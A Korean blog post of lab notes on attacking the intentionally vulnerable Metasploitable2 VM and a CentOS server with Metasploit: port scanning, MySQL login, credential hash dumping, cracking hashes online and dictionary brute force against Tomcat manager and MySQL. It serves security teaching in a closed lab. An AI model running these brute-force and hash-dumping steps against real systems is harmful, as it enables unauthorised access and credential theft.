Fascination
article thumbnail

01. Metasploitable2 설치

 

Metasploitable - Browse /Metasploitable2 at SourceForge.net

 

sourceforge.net

- metasploitable2는 취약 서버(다양한 취약점을 가지고 있음)로 실습에서 사용하기 위해 설치

- login 정보

  • login: msfadmin
  • password: msfadmin

- root 사용자(관리자 mode)

  • login: root
  • password: msfadmin

 

 

02. Kali-Linux를 통한 Port Scanning

1) 분석 서버의 ip 주소 확인

metasploitable 2의 ip 주소는 192.168.56.133 임을 확인할 수 있음

 

CentOS7(Server)의 ip 주소는 192.168.56.131 임을 알 수 있음

 

2) port scanning

- 칼리 리눅스에 root 계정으로 로그인 후, nmap 명령어를 사용해 분석 대상 서버를 port scanning 할 수 있음

metasploitable2 port scanning

 

CentOS7(Server) port Scanning

 

 

03. Database Server - MYSQL in CentOS

1) DB 언어

  • DDL(Data Definition Language)
  • DML(Data Manipulation Language)
  • DCL(Data Control Language)

 

2) mysql 접속

# mysql -p mysql

 

2) mysql root 사용자 비밀번호 설정

select host, user,password from user; // 사용자 정보 확인

CentOS(Sever) mysql

root 사용자의 password가 null임을 확인할 수 있음

→ 엄청난 취약점

따라서 비밀번호를 설정해주어야 함

 

update user set password=password('123456') where user'root';
flush privileges;

CentOS(Server) mysql

조건절을 활용하여 root의 비밀번호 설정

 

CentOS(Server) mysql

root 사용자의 비밀번호가 update 된 것을 확인할 수 있음

but, 비밀번호에 대한 암호화가 동일하게 적용되어

모든 비밀번호의 값이 같게 설정된 것을 확인할 수 있음

 

crackstation

crack station을 통해 원래 비밀번호를 알아 낼 수 있음

 

 

4) hash algorithm

- /etc 안의 shadow 파일 확인

# cd /etc
# vi shadow

 

다음과 같이 test 계정의 password가 암호화 되어 있는 것을 확인할 수 있음

test:
$6 // Hash Type($1: MD5, $2: Bolwfish, $5: SHA-256, $5: SHA-512)
$Kkwvm9V59STZrGHk // Salt: Salt 값에 따라 동일한 비밀번호라도 암호화 된 비밀번호는 완전히 달라짐
$itQK1TwatoPCIVF5nRb43ZUsU2HQxyBWAzqY4/.m9L67Fhu7yvZV8IxDQiMV7EokWJY28DjQdIL7NpKHIYwXs.::0:99999:7:::

 

5) mysql db에 사용자 추가 및 md5 암호 설정

insert into user(host, user, password) values('localhost','korea',password('123456'));
select host, user, password from user;

CentOS(Server) mysql

사용자가 추가되었음을 확인

 

update user set password=password(md5('123456')) where user='korea';
select host, user, password from user;

CentOS7(Server) mysql

암호화가 다르기 때문에 동일한 내용의 비밀번호라도 다르게 저장된 것을 확인할 수 있음

 

crack이 될 수도 있고 안 될수도 있는데 현재 잘 되지 않는 것을 확인할 수 있음

 

 

04. DB in Metasploitable2 공격 실습

1) mysql 접속 후 host, user, password 확인

- 과정은 CentOS7과 동일하므로 생략

- root 사용자의 비밀번호가 설정되어 있지 않을 경우 비밀번호를 설정해주어야 함

metasploitable2 mysql

 

2) msfconsole로 분석

- msfconsole: meta exploitable framework

목표: 데이터 베이스를 scanning 해서 침투해보기

 

3) mysql version scanning

msf6> use auxiliary/scanner/mysql/mysql_version

 scan 할 수 있는 대부분 명령어들은 auxiliary에 들어있다고 보면 된다고 함

 

msf6 auxiliary(scanner/mysql/mysql_version)> set rhosts 192.168.56.133
msf6 auxiliary(scanner/mysql/mysql_version)> run

remote host가 공격 대상인 metasploitable2를 가리키게 되고 run 하면 실행할 수 있음

port: 3306
run: mysql, ubuntu 기반

run을 함으로써 위와 같은 정보를 얻을 수 있음

 

4) username/password 확인

- mysql의 계정과 비밀번호를 이미 안다는 가정 하에 진행 (실제로는 brute-force 공격 등을 통해 알아냄)

  • username: root
  • password: 123456
msf6 auxiliary(scanner/mysql/mysql_version)> use auxiliary/admin/mysql/mysql_sql
msf6 auxiliary(admin/mysql/mysql_sql)> set rhosts 192.168.56.133 // 공격 대상
msf6 auxiliary(admin/mysql/mysql_sql)> set username root // username
msf6 auxiliary(admin/mysql/mysql_sql)> set password 123456 // password
msf6 auxiliary(admin/mysql/mysql_sql)> run

성공했음을 확인할 수 있음

 

5) DB 침투 - login

msf6> use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login)> set rhosts 192.168.56.133 // 공격 대상
msf6 auxiliary(scanner/mysql/mysql_login)> set username root // username
msf6 auxiliary(scanner/mysql/mysql_login)> set password 123456 // password
msf6 auxiliary(scanner/mysql/mysql_login)> run

 

* No active DB -- 부분은 분석에 있어 잘못된 것은 아니지만 msf는 모든 처리를 DB(postgresql)에 저장하는데

그걸 실행 안 해서 뜨는 문장이라고 한다 이를 해결하려면 다음과 같이 명령어를 입력하면 된다고 함

# service postgresql restart
# msfdb init

다음과 같이 입력 후 아까와 같은 과정을 다시 확인해 보면 됨

 

아까와 다르게 No Active DB ~부분이 사라진 것을 확인할 수 있음

 

6) DB 침투 - hashdump

- 데이터 베이스의 비밀번호와 같은 것들을 dumping 하는 것

msf6> use auxiliary/scanner/mysql/mysql_hashdump
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set rhosts 192.168.56.133 // 공격 대상
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set username root // username
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set password 123456 // password
msf6 auxiliary(scanner/mysql/mysql_hashdump)> run

DB내에 저장된 user의 내용이 모두 보이는 것을 확인할 수 있음

 

crackstation에 root의 비밀번호를 입력하면 원래의 비밀번호를 알아낼 수 있음

 

7) mysql in metasploitable2에 user 추가 후 dump

insert into user(host,user,password) value('%','korea',password('123456'));
flush privileges;
select host,user,password from user;

metasploitable2 mysql

추가가 된 것을 확인할 수 있음

 

Kali Linux에서 다시 run을 해보면 추가한 계정에 대한 user와 password가 보임

 

msf6> use auxiliary/scanner/mysql/mysql_hashdump
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set rhosts 192.168.56.133 // 공격 대상
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set username korea // username
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set password 123456 // password
msf6 auxiliary(scanner/mysql/mysql_hashdump)> run

이번에는 추가한 계정으로 다시 설정을 변경해 줌

하지만 에러가 발생하는 것을 확인할 수 있음

 

grant all privileges on *.* to 'korea'@'%' identified by '123456';
flush privileges;

metasploitable2 mysql

위와 같은 문제는 유저 권한 설정을 변경하면 해결할 수 있음

다음과 같이 해당 유저에게 모든 db 및 테이블에 접근권한(외부에서의 접근) 설정을 주면 됨

 

host 설정 (해당 DB 접근에 대한 권한 설정)

> localhost: 내 시스템에서만 접근 가능. 즉, 웹 서버와 데이터 베이스끼리만 접근 가능

> %: 외부에서 누구나 DB 접근 가능(취약점이 될 수 있음) 하지만 내부에서 접근 불가능

> 192.168.56.133(특정 주소): 특정 주소의 host만 접근 가능

> 192.168.56.%(특정 주소의 하위 클래스): 하위 클래스들 모두 접근 가능

 

권한을 준 후 다시 Kali Linux에서 run 한 결과 dumping이 되는 것을 확인 가능

 

insert into user(host,user,password) value('localhost','korea1',password('123456'));
flush privileges;
grant all privileges on *.* to 'korea1'@'localhost' identified by '123456';
flush privileges;

metasploitable2 mysql

이번에는 host가 localhost인 user를 추가

 

msf6> use auxiliary/scanner/mysql/mysql_hashdump
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set rhosts 192.168.56.133 // 공격 대상
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set username korea1 // username
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set password 123456 // password
msf6 auxiliary(scanner/mysql/mysql_hashdump)> run

접근이 막힌 것을 확인할 수 있음

localhost로 권한을 주었기 때문에 외부에서 접근할 수 없는 것임

 

 

05. brute force 공격 실습

1) tomcat에서 실습

msf6> use auxiliary/scanner/http/tomcat_mgr_login

톰캣 기본 관리자 페이지에서 기본으로 사용되는 몇 가지의 취약한 계정 정보를 대입해 알아내는 스캔 도구 

msf6 auxiliary(scanner/http/tomcat_mgr_login)> set rhosts 192.168.56.133 // 공격 대상
msf6 auxiliary(scanner/http/tomcat_mgr_login)> set username tomcat // username
msf6 auxiliary(scanner/http/tomcat_mgr_login)> set password tomcat  // password
msf6 auxiliary(scanner/http/tomcat_mgr_login)> set rport 8180 // 포트도 지정해야 함

위와 같이 지정해 줌

우선은 username과 password를 안다는 가정하에 진행하여 실행해 볼 것임

 

msf6 auxiliary(scanner/http/tomcat_mgr_login)> set stop_on_success true // 성공할 경우 거기서 멈춤
msf6 auxiliary(scanner/http/tomcat_mgr_login)> run // 실행시킴

Login Successful을 확인할 수 있음

 

msf6 auxiliary(scanner/http/tomcat_mgr_login)> vi id.txt   // 많은 아이디가 저장된 파일을 생성
msf6 auxiliary(scanner/http/tomcat_mgr_login)> vi pass.txt // 많은 비밀번호가 저장된 파일을 생성
msf6 auxiliary(scanner/http/tomcat_mgr_login)> set user_file id.txt // 아이디를 id.txt에 있는 아이디들로 하나하나 대응시켜보도록 파일 매치
msf6 auxiliary(scanner/http/tomcat_mgr_login)> set userpass_file pass.txt // 비밀번호를 pass.txt에 있는 비밀번호들로 하나하나 대응시켜보도록 파일 매치
msf6 auxiliary(scanner/http/tomcat_mgr_login)> run // 실행시킴

무차별 대입 공격을 위해 임의적으로 id.txt와 pass.txt와 같은 사전 파일들을 만들어야 하며,

내용은 다음과 같이 만들어 보았음

id.txt
pass.txt

만들어진 파일들을 바탕으로 아래 사진과 같이 brute force 공격을 하여 

로그인에 성공할 수 있음

 

2) DB 서버에서 실습

아까 생성한 사전 파일을 활용하기 위해 CentOS mysql에

host가 % 이고, username이 korea7이며 비밀번호가 123456인 user를 추가

 

msf6> use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login)> set rhosts 192.168.56.131
msf6 auxiliary(scanner/mysql/mysql_login)> set user_file id.txt
msf6 auxiliary(scanner/mysql/mysql_login)> set userpass_file pass.txt
msf6 auxiliary(scanner/mysql/mysql_login)> set stop_on_success true
msf6 auxiliary(scanner/mysql/mysql_login)> run

성공한 것을 확인할 수 있음

계정 정보를 찾았으니 다음은 hashdump 진행

 

msf6> use auxiliary/scanner/mysql/mysql_hashdump
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set rhosts 192.168.56.131 // 공격 대상
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set username korea7 // username
msf6 auxiliary(scanner/mysql/mysql_hashdump)> set password 123456 // password
msf6 auxiliary(scanner/mysql/mysql_hashdump)> run

위에서 했던 hashdump 실습과 동일하게 진행된 것을 확인할 수 있음

profile

Fascination

@euna-319

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!